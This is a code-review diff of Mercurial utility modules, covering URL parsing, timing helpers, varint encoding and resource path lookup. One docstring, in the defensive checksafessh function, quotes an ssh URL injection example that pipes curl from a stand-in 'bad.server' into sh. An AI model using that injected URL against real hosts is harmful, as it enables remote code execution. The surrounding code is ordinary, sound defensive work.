2958 2952 take host names. That means 'bundle://../' has a path of '../'.
2959 2953
2960 2954 Examples:
2961 2955
2962 2956 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2963 2957 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2964 2958 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2965 2959 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2966 2960 >>> url(b'file:///home/joe/repo')
2967 2961 <url scheme: 'file', path: '/home/joe/repo'>
2968 2962 >>> url(b'file:///c:/temp/foo/')
2969 2963 <url scheme: 'file', path: 'c:/temp/foo/'>
2970 2964 >>> url(b'bundle:foo')
2971 2965 <url scheme: 'bundle', path: 'foo'>
2972 2966 >>> url(b'bundle://../foo')
2973 2967 <url scheme: 'bundle', path: '../foo'>
2974 2968 >>> url(br'c:\foo\bar')
2975 2969 <url path: 'c:\\foo\\bar'>
2976 2970 >>> url(br'\\blah\blah\blah')
2977 2971 <url path: '\\\\blah\\blah\\blah'>
2978 2972 >>> url(br'\\blah\blah\blah#baz')
2979 2973 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2980 2974 >>> url(br'file:///C:\users\me')
2981 2975 <url scheme: 'file', path: 'C:\\users\\me'>
2982 2976
2983 2977 Authentication credentials:
2984 2978
2985 2979 >>> url(b'ssh://joe:xyz@x/repo')
2986 2980 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2987 2981 >>> url(b'ssh://joe@x/repo')
2988 2982 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2989 2983
2990 2984 Query strings and fragments:
2991 2985
2992 2986 >>> url(b'http://host/a?b#c')
2993 2987 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2994 2988 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2995 2989 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2996 2990
2997 2991 Empty path:
2998 2992
2999 2993 >>> url(b'')
3000 2994 <url path: ''>
3001 2995 >>> url(b'#a')
3002 2996 <url path: '', fragment: 'a'>
3003 2997 >>> url(b'http://host/')
3004 2998 <url scheme: 'http', host: 'host', path: ''>
3005 2999 >>> url(b'http://host/#a')
3006 3000 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3007 3001
3008 3002 Only scheme:
3009 3003
3010 3004 >>> url(b'http:')
3011 3005 <url scheme: 'http'>
3012 3006 """
3013 3007
3014 3008 _safechars = b"!~*'()+"
3015 3009 _safepchars = b"/!~*'()+:\\"
3016 3010 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3017 3011
3018 3012 def __init__(self, path, parsequery=True, parsefragment=True):
3019 3013 # We slowly chomp away at path until we have only the path left
3020 3014 self.scheme = self.user = self.passwd = self.host = None
3021 3015 self.port = self.path = self.query = self.fragment = None
3022 3016 self._localpath = True
3023 3017 self._hostport = b''
3024 3018 self._origpath = path
3025 3019
3026 3020 if parsefragment and b'#' in path:
3027 3021 path, self.fragment = path.split(b'#', 1)
3028 3022
3029 3023 # special case for Windows drive letters and UNC paths
3030 3024 if hasdriveletter(path) or path.startswith(b'\\\\'):
3031 3025 self.path = path
3032 3026 return
3033 3027
3034 3028 # For compatibility reasons, we can't handle bundle paths as
3035 3029 # normal URLS
3036 3030 if path.startswith(b'bundle:'):
3037 3031 self.scheme = b'bundle'
3038 3032 path = path[7:]
3039 3033 if path.startswith(b'//'):
3040 3034 path = path[2:]
3041 3035 self.path = path
3042 3036 return
3043 3037
3044 3038 if self._matchscheme(path):
3045 3039 parts = path.split(b':', 1)
3046 3040 if parts[0]:
3047 3041 self.scheme, path = parts
3048 3042 self._localpath = False
3049 3043
3050 3044 if not path:
3051 3045 path = None
3052 3046 if self._localpath:
3053 3047 self.path = b''
3054 3048 return
3055 3049 else:
3056 3050 if self._localpath:
3057 3051 self.path = path
3058 3052 return
3059 3053
3060 3054 if parsequery and b'?' in path:
3061 3055 path, self.query = path.split(b'?', 1)
3062 3056 if not path:
3063 3057 path = None
3064 3058 if not self.query:
3065 3059 self.query = None
3066 3060
3067 3061 # // is required to specify a host/authority
3068 3062 if path and path.startswith(b'//'):
3069 3063 parts = path[2:].split(b'/', 1)
3070 3064 if len(parts) > 1:
3071 3065 self.host, path = parts
3072 3066 else:
3073 3067 self.host = parts[0]
3074 3068 path = None
3075 3069 if not self.host:
3076 3070 self.host = None
3077 3071 # path of file:///d is /d
3078 3072 # path of file:///d:/ is d:/, not /d:/
3079 3073 if path and not hasdriveletter(path):
3080 3074 path = b'/' + path
3081 3075
3082 3076 if self.host and b'@' in self.host:
3083 3077 self.user, self.host = self.host.rsplit(b'@', 1)
3084 3078 if b':' in self.user:
3085 3079 self.user, self.passwd = self.user.split(b':', 1)
3086 3080 if not self.host:
3087 3081 self.host = None
3088 3082
3089 3083 # Don't split on colons in IPv6 addresses without ports
3090 3084 if (
3091 3085 self.host
3092 3086 and b':' in self.host
3093 3087 and not (
3094 3088 self.host.startswith(b'[') and self.host.endswith(b']')
3095 3089 )
3096 3090 ):
3097 3091 self._hostport = self.host
3098 3092 self.host, self.port = self.host.rsplit(b':', 1)
3099 3093 if not self.host:
3100 3094 self.host = None
3101 3095
3102 3096 if (
3103 3097 self.host
3104 3098 and self.scheme == b'file'
3105 3099 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3106 3100 ):
3107 3101 raise error.Abort(
3108 3102 _(b'file:// URLs can only refer to localhost')
3109 3103 )
3110 3104
3111 3105 self.path = path
3112 3106
3113 3107 # leave the query string escaped
3114 3108 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3115 3109 v = getattr(self, a)
3116 3110 if v is not None:
3117 3111 setattr(self, a, urlreq.unquote(v))
3118 3112
3119 3113 @encoding.strmethod
3120 3114 def __repr__(self):
3121 3115 attrs = []
3122 3116 for a in (
3123 3117 b'scheme',
3124 3118 b'user',
3125 3119 b'passwd',
3126 3120 b'host',
3127 3121 b'port',
3128 3122 b'path',
3129 3123 b'query',
3130 3124 b'fragment',
3131 3125 ):
3132 3126 v = getattr(self, a)
3133 3127 if v is not None:
3134 3128 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3135 3129 return b'<url %s>' % b', '.join(attrs)
3136 3130
3137 3131 def __bytes__(self):
3138 3132 r"""Join the URL's components back into a URL string.
3139 3133
3140 3134 Examples:
3141 3135
3142 3136 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3143 3137 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3144 3138 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3145 3139 'http://user:pw@host:80/?foo=bar&baz=42'
3146 3140 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3147 3141 'http://user:pw@host:80/?foo=bar%3dbaz'
3148 3142 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3149 3143 'ssh://user:pw@[::1]:2200//home/joe#'
3150 3144 >>> bytes(url(b'http://localhost:80//'))
3151 3145 'http://localhost:80//'
3152 3146 >>> bytes(url(b'http://localhost:80/'))
3153 3147 'http://localhost:80/'
3154 3148 >>> bytes(url(b'http://localhost:80'))
3155 3149 'http://localhost:80/'
3156 3150 >>> bytes(url(b'bundle:foo'))
3157 3151 'bundle:foo'
3158 3152 >>> bytes(url(b'bundle://../foo'))
3159 3153 'bundle:../foo'
3160 3154 >>> bytes(url(b'path'))
3161 3155 'path'
3162 3156 >>> bytes(url(b'file:///tmp/foo/bar'))
3163 3157 'file:///tmp/foo/bar'
3164 3158 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3165 3159 'file:///c:/tmp/foo/bar'
3166 3160 >>> print(url(br'bundle:foo\bar'))
3167 3161 bundle:foo\bar
3168 3162 >>> print(url(br'file:///D:\data\hg'))
3169 3163 file:///D:\data\hg
3170 3164 """
3171 3165 if self._localpath:
3172 3166 s = self.path
3173 3167 if self.scheme == b'bundle':
3174 3168 s = b'bundle:' + s
3175 3169 if self.fragment:
3176 3170 s += b'#' + self.fragment
3177 3171 return s
3178 3172
3179 3173 s = self.scheme + b':'
3180 3174 if self.user or self.passwd or self.host:
3181 3175 s += b'//'
3182 3176 elif self.scheme and (
3183 3177 not self.path
3184 3178 or self.path.startswith(b'/')
3185 3179 or hasdriveletter(self.path)
3186 3180 ):
3187 3181 s += b'//'
3188 3182 if hasdriveletter(self.path):
3189 3183 s += b'/'
3190 3184 if self.user:
3191 3185 s += urlreq.quote(self.user, safe=self._safechars)
3192 3186 if self.passwd:
3193 3187 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3194 3188 if self.user or self.passwd:
3195 3189 s += b'@'
3196 3190 if self.host:
3197 3191 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3198 3192 s += urlreq.quote(self.host)
3199 3193 else:
3200 3194 s += self.host
3201 3195 if self.port:
3202 3196 s += b':' + urlreq.quote(self.port)
3203 3197 if self.host:
3204 3198 s += b'/'
3205 3199 if self.path:
3206 3200 # TODO: similar to the query string, we should not unescape the
3207 3201 # path when we store it, the path might contain '%2f' = '/',
3208 3202 # which we should *not* escape.
3209 3203 s += urlreq.quote(self.path, safe=self._safepchars)
3210 3204 if self.query:
3211 3205 # we store the query in escaped form.
3212 3206 s += b'?' + self.query
3213 3207 if self.fragment is not None:
3214 3208 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3215 3209 return s
3216 3210
3217 3211 __str__ = encoding.strmethod(__bytes__)
3218 3212
3219 3213 def authinfo(self):
3220 3214 user, passwd = self.user, self.passwd
3221 3215 try:
3222 3216 self.user, self.passwd = None, None
3223 3217 s = bytes(self)
3224 3218 finally:
3225 3219 self.user, self.passwd = user, passwd
3226 3220 if not self.user:
3227 3221 return (s, None)
3228 3222 # authinfo[1] is passed to urllib2 password manager, and its
3229 3223 # URIs must not contain credentials. The host is passed in the
3230 3224 # URIs list because Python < 2.4.3 uses only that to search for
3231 3225 # a password.
3232 3226 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3233 3227
3234 3228 def isabs(self):
3235 3229 if self.scheme and self.scheme != b'file':
3236 3230 return True # remote URL
3237 3231 if hasdriveletter(self.path):
3238 3232 return True # absolute for our purposes - can't be joined()
3239 3233 if self.path.startswith(br'\\'):
3240 3234 return True # Windows UNC path
3241 3235 if self.path.startswith(b'/'):
3242 3236 return True # POSIX-style
3243 3237 return False
3244 3238
3245 3239 def localpath(self):
3246 3240 if self.scheme == b'file' or self.scheme == b'bundle':
3247 3241 path = self.path or b'/'
3248 3242 # For Windows, we need to promote hosts containing drive
3249 3243 # letters to paths with drive letters.
3250 3244 if hasdriveletter(self._hostport):
3251 3245 path = self._hostport + b'/' + self.path
3252 3246 elif (
3253 3247 self.host is not None and self.path and not hasdriveletter(path)
3254 3248 ):
3255 3249 path = b'/' + path
3256 3250 return path
3257 3251 return self._origpath
3258 3252
3259 3253 def islocal(self):
3260 3254 '''whether localpath will return something that posixfile can open'''
3261 3255 return (
3262 3256 not self.scheme
3263 3257 or self.scheme == b'file'
3264 3258 or self.scheme == b'bundle'
3265 3259 )
3266 3260
3267 3261
3268 3262 def hasscheme(path):
3269 3263 return bool(url(path).scheme)
3270 3264
3271 3265
3272 3266 def hasdriveletter(path):
3273 3267 return path and path[1:2] == b':' and path[0:1].isalpha()
3274 3268
3275 3269
3276 3270 def urllocalpath(path):
3277 3271 return url(path, parsequery=False, parsefragment=False).localpath()
3278 3272
3279 3273
3280 3274 def checksafessh(path):
3281 3275 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3282 3276
3283 3277 This is a sanity check for ssh urls. ssh will parse the first item as
3284 3278 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3285 3279 Let's prevent these potentially exploited urls entirely and warn the
3286 3280 user.
3287 3281
3288 3282 Raises an error.Abort when the url is unsafe.
3289 3283 """
3290 3284 path = urlreq.unquote(path)
3291 3285 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3292 3286 raise error.Abort(
3293 3287 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3294 3288 )
3295 3289
3296 3290
3297 3291 def hidepassword(u):
3298 3292 '''hide user credential in a url string'''
3299 3293 u = url(u)
3300 3294 if u.passwd:
3301 3295 u.passwd = b'***'
3302 3296 return bytes(u)
3303 3297
3304 3298
3305 3299 def removeauth(u):
3306 3300 '''remove all authentication information from a url string'''
3307 3301 u = url(u)
3308 3302 u.user = u.passwd = None
3309 3303 return bytes(u)
3310 3304
3311 3305
3312 3306 timecount = unitcountfn(
3313 3307 (1, 1e3, _(b'%.0f s')),
3314 3308 (100, 1, _(b'%.1f s')),
3315 3309 (10, 1, _(b'%.2f s')),
3316 3310 (1, 1, _(b'%.3f s')),
3317 3311 (100, 0.001, _(b'%.1f ms')),
3318 3312 (10, 0.001, _(b'%.2f ms')),
3319 3313 (1, 0.001, _(b'%.3f ms')),
3320 3314 (100, 0.000001, _(b'%.1f us')),
3321 3315 (10, 0.000001, _(b'%.2f us')),
3322 3316 (1, 0.000001, _(b'%.3f us')),
3323 3317 (100, 0.000000001, _(b'%.1f ns')),
3324 3318 (10, 0.000000001, _(b'%.2f ns')),
3325 3319 (1, 0.000000001, _(b'%.3f ns')),
3326 3320 )
3327 3321
3328 3322
3329 3323 @attr.s
3330 3324 class timedcmstats(object):
3331 3325 """Stats information produced by the timedcm context manager on entering."""
3332 3326
3333 3327 # the starting value of the timer as a float (meaning and resulution is
3334 3328 # platform dependent, see util.timer)
3335 3329 start = attr.ib(default=attr.Factory(lambda: timer()))
3336 3330 # the number of seconds as a floating point value; starts at 0, updated when
3337 3331 # the context is exited.
3338 3332 elapsed = attr.ib(default=0)
3339 3333 # the number of nested timedcm context managers.
3340 3334 level = attr.ib(default=1)
3341 3335
3342 3336 def __bytes__(self):
3343 3337 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3344 3338
3345 3339 __str__ = encoding.strmethod(__bytes__)
3346 3340
3347 3341
3348 3342 @contextlib.contextmanager
3349 3343 def timedcm(whencefmt, *whenceargs):
3350 3344 """A context manager that produces timing information for a given context.
3351 3345
3352 3346 On entering a timedcmstats instance is produced.
3353 3347
3354 3348 This context manager is reentrant.
3355 3349
3356 3350 """
3357 3351 # track nested context managers
3358 3352 timedcm._nested += 1
3359 3353 timing_stats = timedcmstats(level=timedcm._nested)
3360 3354 try:
3361 3355 with tracing.log(whencefmt, *whenceargs):
3362 3356 yield timing_stats
3363 3357 finally:
3364 3358 timing_stats.elapsed = timer() - timing_stats.start
3365 3359 timedcm._nested -= 1
3366 3360
3367 3361
3368 3362 timedcm._nested = 0
3369 3363
3370 3364
3371 3365 def timed(func):
3372 3366 '''Report the execution time of a function call to stderr.
3373 3367
3374 3368 During development, use as a decorator when you need to measure
3375 3369 the cost of a function, e.g. as follows:
3376 3370
3377 3371 @util.timed
3378 3372 def foo(a, b, c):
3379 3373 pass
3380 3374 '''
3381 3375
3382 3376 def wrapper(*args, **kwargs):
3383 3377 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3384 3378 result = func(*args, **kwargs)
3385 3379 stderr = procutil.stderr
3386 3380 stderr.write(
3387 3381 b'%s%s: %s\n'
3388 3382 % (
3389 3383 b' ' * time_stats.level * 2,
3390 3384 pycompat.bytestr(func.__name__),
3391 3385 time_stats,
3392 3386 )
3393 3387 )
3394 3388 return result
3395 3389
3396 3390 return wrapper
3397 3391
3398 3392
3399 3393 _sizeunits = (
3400 3394 (b'm', 2 ** 20),
3401 3395 (b'k', 2 ** 10),
3402 3396 (b'g', 2 ** 30),
3403 3397 (b'kb', 2 ** 10),
3404 3398 (b'mb', 2 ** 20),
3405 3399 (b'gb', 2 ** 30),
3406 3400 (b'b', 1),
3407 3401 )
3408 3402
3409 3403
3410 3404 def sizetoint(s):
3411 3405 '''Convert a space specifier to a byte count.
3412 3406
3413 3407 >>> sizetoint(b'30')
3414 3408 30
3415 3409 >>> sizetoint(b'2.2kb')
3416 3410 2252
3417 3411 >>> sizetoint(b'6M')
3418 3412 6291456
3419 3413 '''
3420 3414 t = s.strip().lower()
3421 3415 try:
3422 3416 for k, u in _sizeunits:
3423 3417 if t.endswith(k):
3424 3418 return int(float(t[: -len(k)]) * u)
3425 3419 return int(t)
3426 3420 except ValueError:
3427 3421 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3428 3422
3429 3423
3430 3424 class hooks(object):
3431 3425 '''A collection of hook functions that can be used to extend a
3432 3426 function's behavior. Hooks are called in lexicographic order,
3433 3427 based on the names of their sources.'''
3434 3428
3435 3429 def __init__(self):
3436 3430 self._hooks = []
3437 3431
3438 3432 def add(self, source, hook):
3439 3433 self._hooks.append((source, hook))
3440 3434
3441 3435 def __call__(self, *args):
3442 3436 self._hooks.sort(key=lambda x: x[0])
3443 3437 results = []
3444 3438 for source, hook in self._hooks:
3445 3439 results.append(hook(*args))
3446 3440 return results
3447 3441
3448 3442
3449 3443 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3450 3444 '''Yields lines for a nicely formatted stacktrace.
3451 3445 Skips the 'skip' last entries, then return the last 'depth' entries.
3452 3446 Each file+linenumber is formatted according to fileline.
3453 3447 Each line is formatted according to line.
3454 3448 If line is None, it yields:
3455 3449 length of longest filepath+line number,
3456 3450 filepath+linenumber,
3457 3451 function
3458 3452
3459 3453 Not be used in production code but very convenient while developing.
3460 3454 '''
3461 3455 entries = [
3462 3456 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3463 3457 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3464 3458 ][-depth:]
3465 3459 if entries:
3466 3460 fnmax = max(len(entry[0]) for entry in entries)
3467 3461 for fnln, func in entries:
3468 3462 if line is None:
3469 3463 yield (fnmax, fnln, func)
3470 3464 else:
3471 3465 yield line % (fnmax, fnln, func)
3472 3466
3473 3467
3474 3468 def debugstacktrace(
3475 3469 msg=b'stacktrace',
3476 3470 skip=0,
3477 3471 f=procutil.stderr,
3478 3472 otherf=procutil.stdout,
3479 3473 depth=0,
3480 3474 ):
3481 3475 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3482 3476 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3483 3477 By default it will flush stdout first.
3484 3478 It can be used everywhere and intentionally does not require an ui object.
3485 3479 Not be used in production code but very convenient while developing.
3486 3480 '''
3487 3481 if otherf:
3488 3482 otherf.flush()
3489 3483 f.write(b'%s at:\n' % msg.rstrip())
3490 3484 for line in getstackframes(skip + 1, depth=depth):
3491 3485 f.write(line)
3492 3486 f.flush()
3493 3487
3494 3488
3495 3489 # convenient shortcut
3496 3490 dst = debugstacktrace
3497 3491
3498 3492
3499 3493 def safename(f, tag, ctx, others=None):
3500 3494 """
3501 3495 Generate a name that it is safe to rename f to in the given context.
3502 3496
3503 3497 f: filename to rename
3504 3498 tag: a string tag that will be included in the new name
3505 3499 ctx: a context, in which the new name must not exist
3506 3500 others: a set of other filenames that the new name must not be in
3507 3501
3508 3502 Returns a file name of the form oldname~tag[~number] which does not exist
3509 3503 in the provided context and is not in the set of other names.
3510 3504 """
3511 3505 if others is None:
3512 3506 others = set()
3513 3507
3514 3508 fn = b'%s~%s' % (f, tag)
3515 3509 if fn not in ctx and fn not in others:
3516 3510 return fn
3517 3511 for n in itertools.count(1):
3518 3512 fn = b'%s~%s~%s' % (f, tag, n)
3519 3513 if fn not in ctx and fn not in others:
3520 3514 return fn
3521 3515
3522 3516
3523 3517 def readexactly(stream, n):
3524 3518 '''read n bytes from stream.read and abort if less was available'''
3525 3519 s = stream.read(n)
3526 3520 if len(s) < n:
3527 3521 raise error.Abort(
3528 3522 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3529 3523 % (len(s), n)
3530 3524 )
3531 3525 return s
3532 3526
3533 3527
3534 3528 def uvarintencode(value):
3535 3529 """Encode an unsigned integer value to a varint.
3536 3530
3537 3531 A varint is a variable length integer of 1 or more bytes. Each byte
3538 3532 except the last has the most significant bit set. The lower 7 bits of
3539 3533 each byte store the 2's complement representation, least significant group
3540 3534 first.
3541 3535
3542 3536 >>> uvarintencode(0)
3543 3537 '\\x00'
3544 3538 >>> uvarintencode(1)
3545 3539 '\\x01'
3546 3540 >>> uvarintencode(127)
3547 3541 '\\x7f'
3548 3542 >>> uvarintencode(1337)
3549 3543 '\\xb9\\n'
3550 3544 >>> uvarintencode(65536)
3551 3545 '\\x80\\x80\\x04'
3552 3546 >>> uvarintencode(-1)
3553 3547 Traceback (most recent call last):
3554 3548 ...
3555 3549 ProgrammingError: negative value for uvarint: -1
3556 3550 """
3557 3551 if value < 0:
3558 3552 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3559 3553 bits = value & 0x7F
3560 3554 value >>= 7
3561 3555 bytes = []
3562 3556 while value:
3563 3557 bytes.append(pycompat.bytechr(0x80 | bits))
3564 3558 bits = value & 0x7F
3565 3559 value >>= 7
3566 3560 bytes.append(pycompat.bytechr(bits))
3567 3561
3568 3562 return b''.join(bytes)
3569 3563
3570 3564
3571 3565 def uvarintdecodestream(fh):
3572 3566 """Decode an unsigned variable length integer from a stream.
3573 3567
3574 3568 The passed argument is anything that has a ``.read(N)`` method.
3575 3569
3576 3570 >>> try:
3577 3571 ... from StringIO import StringIO as BytesIO
3578 3572 ... except ImportError:
3579 3573 ... from io import BytesIO
3580 3574 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3581 3575 0
3582 3576 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3583 3577 1
3584 3578 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3585 3579 127
3586 3580 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3587 3581 1337
3588 3582 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3589 3583 65536
3590 3584 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3591 3585 Traceback (most recent call last):
3592 3586 ...
3593 3587 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3594 3588 """
3595 3589 result = 0
3596 3590 shift = 0
3597 3591 while True:
3598 3592 byte = ord(readexactly(fh, 1))
3599 3593 result |= (byte & 0x7F) << shift
3600 3594 if not (byte & 0x80):
3601 3595 return result
3602 3596 shift += 7
@@ -1,28 +1,37 b''
1 1 # resourceutil.py - utility for looking up resources
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 from __future__ import absolute_import
11 11
12 12 import imp
13 import os
13 14 import sys
14 15
15 16 from .. import pycompat
16 17
17 18
18 19 def mainfrozen():
19 20 """return True if we are a frozen executable.
20 21
21 22 The code supports py2exe (most common, Windows only) and tools/freeze
22 23 (portable, not much used).
23 24 """
24 25 return (
25 26 pycompat.safehasattr(sys, "frozen")
26 27 or pycompat.safehasattr(sys, "importers") # new py2exe
27 28 or imp.is_frozen("__main__") # old py2exe
28 29 ) # tools/freeze
30
31
32 # the location of data files matching the source code
33 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
34 # executable version (py2exe) doesn't support __file__
35 datapath = os.path.dirname(pycompat.sysexecutable)
36 else:
37 datapath = os.path.dirname(os.path.dirname(pycompat.fsencode(__file__)))
General Comments 0
You need to be logged in to leave comments. Login now